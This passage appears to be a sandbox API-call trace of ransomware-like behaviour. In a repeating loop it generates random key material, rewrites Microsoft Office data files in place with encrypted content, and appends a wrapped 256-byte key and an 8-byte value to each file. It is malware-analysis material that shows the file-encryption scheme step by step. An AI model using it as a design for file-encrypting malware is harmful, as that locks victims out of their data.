| out: lpBuffer=0x30dfdf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0213.314] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6910*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6910*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0213.314] CloseHandle (hObject=0x2220) returned 1 [0213.316] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df6b8 | out: pbBuffer=0x30df6b8) returned 1 [0213.316] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6900 | out: pbBuffer=0x30f6900) returned 1 [0213.316] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0213.317] ReadFile (in: hFile=0x2220, lpBuffer=0x36b1020, nNumberOfBytesToRead=0x40ee9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36b1020*, lpNumberOfBytesRead=0x2e1f9bc*=0x40ee9, lpOverlapped=0x0) returned 1 [0213.338] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-265961, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.338] WriteFile (in: hFile=0x2220, lpBuffer=0x36f1f18*, nNumberOfBytesToWrite=0x40ee9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36f1f18*, lpNumberOfBytesWritten=0x2e1f9bc*=0x40ee9, lpOverlapped=0x0) returned 1 [0213.397] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x40ee9 [0213.397] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0213.397] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df6b8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df6b8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0213.397] WriteFile (in: hFile=0x2220, lpBuffer=0x30df6b8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df6b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0213.397] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6900*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6900*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0213.398] CloseHandle (hObject=0x2220) returned 1 [0213.401] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df7c0 | out: pbBuffer=0x30df7c0) returned 1 [0213.401] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f69a0 | out: pbBuffer=0x30f69a0) returned 1 [0213.401] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat", dwFileAttributes=0x80) returned 1 [0213.401] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x179f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x179f, lpOverlapped=0x0) returned 1 [0213.424] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-6047, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.424] WriteFile (in: hFile=0x2220, lpBuffer=0x30e5820*, nNumberOfBytesToWrite=0x179f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e5820*, lpNumberOfBytesWritten=0x2e1f9bc*=0x179f, lpOverlapped=0x0) returned 1 [0213.424] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x179f [0213.424] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0213.425] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df7c0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df7c0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0213.425] WriteFile (in: hFile=0x2220, lpBuffer=0x30df7c0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df7c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0213.425] WriteFile (in: hFile=0x2220, lpBuffer=0x30f69a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f69a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0213.425] CloseHandle (hObject=0x2220) returned 1 [0213.427] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0e70 | out: pbBuffer=0x30e0e70) returned 1 [0213.427] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6ad0 | out: pbBuffer=0x30f6ad0) returned 1 [0213.427] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0213.427] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x127a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x127a, lpOverlapped=0x0) returned 1 [0213.437] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-4730, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.438] WriteFile (in: hFile=0x2220, lpBuffer=0x30e5300*, nNumberOfBytesToWrite=0x127a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e5300*, lpNumberOfBytesWritten=0x2e1f9bc*=0x127a, lpOverlapped=0x0) returned 1 [0213.438] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x127a [0213.438] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0213.438] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0e70*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0e70*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0213.439] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0e70*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0e70*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0213.439] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6ad0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6ad0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0213.439] CloseHandle (hObject=0x2220) returned 1 [0213.441] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0420 | out: pbBuffer=0x30e0420) returned 1 [0213.441] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6900 | out: pbBuffer=0x30f6900) returned 1 [0213.441] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat", dwFileAttributes=0x80) returned 1 [0213.441] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x621d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x621d, lpOverlapped=0x0) returned 1 [0213.443] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-25117, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.443] WriteFile (in: hFile=0x2220, lpBuffer=0x34be010*, nNumberOfBytesToWrite=0x621d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x621d, lpOverlapped=0x0) returned 1 [0213.443] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x621d [0213.443] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0213.443] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0420*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0420*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0213.444] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0420*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0420*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0213.444] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6900*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6900*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0213.444] CloseHandle (hObject=0x2220) returned 1 [0213.446] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0420 | out: pbBuffer=0x30e0420) returned 1 [0213.446] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6980 | out: pbBuffer=0x30f6980) returned 1 [0213.446] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0213.446] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x4276, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x4276, lpOverlapped=0x0) returned 1 [0213.471] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-17014, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.471] WriteFile (in: hFile=0x2220, lpBuffer=0x30e82f8*, nNumberOfBytesToWrite=0x4276, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e82f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4276, lpOverlapped=0x0) returned 1 [0213.472] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4276 [0213.472] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0213.472] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0420*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0420*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0213.472] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0420*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0420*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0213.472] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6980*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6980*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0213.473] CloseHandle (hObject=0x2220) returned 1 [0213.474] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0630 | out: pbBuffer=0x30e0630) returned 1 [0213.474] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a50 | out: pbBuffer=0x30f6a50) returned 1 [0213.474] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat", dwFileAttributes=0x80) returned 1 [0213.475] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x646e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x646e, lpOverlapped=0x0) returned 1 [0213.476] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-25710, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.476] WriteFile (in: hFile=0x2220, lpBuffer=0x34be010*, nNumberOfBytesToWrite=0x646e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x646e, lpOverlapped=0x0) returned 1 [0213.477] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x646e [0213.477] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0213.477] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0630*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0630*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0213.477] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0630*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0630*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0213.477] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0213.478] CloseHandle (hObject=0x2220) returned 1 [0213.479] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0c60 | out: pbBuffer=0x30e0c60) returned 1 [0213.479] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a00 | out: pbBuffer=0x30f6a00) returned 1 [0213.479] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0213.480] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x57ec, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x57ec, lpOverlapped=0x0) returned 1 [0213.490] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-22508, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.490] WriteFile (in: hFile=0x2220, lpBuffer=0x30e9870*, nNumberOfBytesToWrite=0x57ec, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e9870*, lpNumberOfBytesWritten=0x2e1f9bc*=0x57ec, lpOverlapped=0x0) returned 1 [0213.490] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x57ec [0213.490] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0213.490] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0c60*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0c60*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0213.491] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0c60*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0c60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0213.491] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0213.491] CloseHandle (hObject=0x2220) returned 1 [0213.493] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df6b8 | out: pbBuffer=0x30df6b8) returned 1 [0213.493] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f69b0 | out: pbBuffer=0x30f69b0) returned 1 [0213.493] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat", dwFileAttributes=0x80) returned 1 [0213.497] ReadFile (in: hFile=0x2220, lpBuffer=0x6fd020, nNumberOfBytesToRead=0x94277, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6fd020*, lpNumberOfBytesRead=0x2e1f9bc*=0x94277, lpOverlapped=0x0) returned 1 [0213.565] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-606839, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.565] WriteFile (in: hFile=0x2220, lpBuffer=0x3d25020*, nNumberOfBytesToWrite=0x94277, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3d25020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x94277, lpOverlapped=0x0) returned 1 [0213.571] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x94277 [0213.571] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0213.571] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df6b8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df6b8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0213.571] WriteFile (in: hFile=0x2220, lpBuffer=0x30df6b8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df6b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0213.572] WriteFile (in: hFile=0x2220, lpBuffer=0x30f69b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f69b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0213.572] CloseHandle (hObject=0x2220) returned 1 [0213.573] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df190 | out: pbBuffer=0x30df190) returned 1 [0213.573] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a50 | out: pbBuffer=0x30f6a50) returned 1 [0213.573] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0213.575] ReadFile (in: hFile=0x2220, lpBuffer=0x36b1020, nNumberOfBytesToRead=0x58b03, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36b1020*, lpNumberOfBytesRead=0x2e1f9bc*=0x58b03, lpOverlapped=0x0) returned 1 [0213.607] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-363267, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.607] WriteFile (in: hFile=0x2220, lpBuffer=0x3709b30*, nNumberOfBytesToWrite=0x58b03, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3709b30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x58b03, lpOverlapped=0x0) returned 1 [0213.612] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x58b03 [0213.612] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0213.612] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0213.612] WriteFile (in: hFile=0x2220, lpBuffer=0x30df190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0213.613] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0213.613] CloseHandle (hObject=0x2220) returned 1 [0213.614] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df190 | out: pbBuffer=0x30df190) returned 1 [0213.615] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f69c0 | out: pbBuffer=0x30f69c0) returned 1 [0213.615] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat", dwFileAttributes=0x80) returned 1 [0213.615] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x20c6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x20c6, lpOverlapped=0x0) returned 1 [0213.748] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-8390, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.748] WriteFile (in: hFile=0x2220, lpBuffer=0x30e6148*, nNumberOfBytesToWrite=0x20c6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e6148*, lpNumberOfBytesWritten=0x2e1f9bc*=0x20c6, lpOverlapped=0x0) returned 1 [0213.748] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x20c6 [0213.749] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0213.749] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0213.749] WriteFile (in: hFile=0x2220, lpBuffer=0x30df190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0213.749] WriteFile (in: hFile=0x2220, lpBuffer=0x30f69c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f69c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0213.749] CloseHandle (hObject=0x2220) returned 1 [0213.751] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0000 | out: pbBuffer=0x30e0000) returned 1 [0213.751] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6980 | out: pbBuffer=0x30f6980) returned 1 [0213.751] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0213.751] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x1afe, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x1afe, lpOverlapped=0x0) returned 1 [0213.991] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-6910, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.991] WriteFile (in: hFile=0x2220, lpBuffer=0x30e5b80*, nNumberOfBytesToWrite=0x1afe, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e5b80*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1afe, lpOverlapped=0x0) returned 1 [0213.993] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1afe [0213.993] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0213.993] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0000*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0000*, 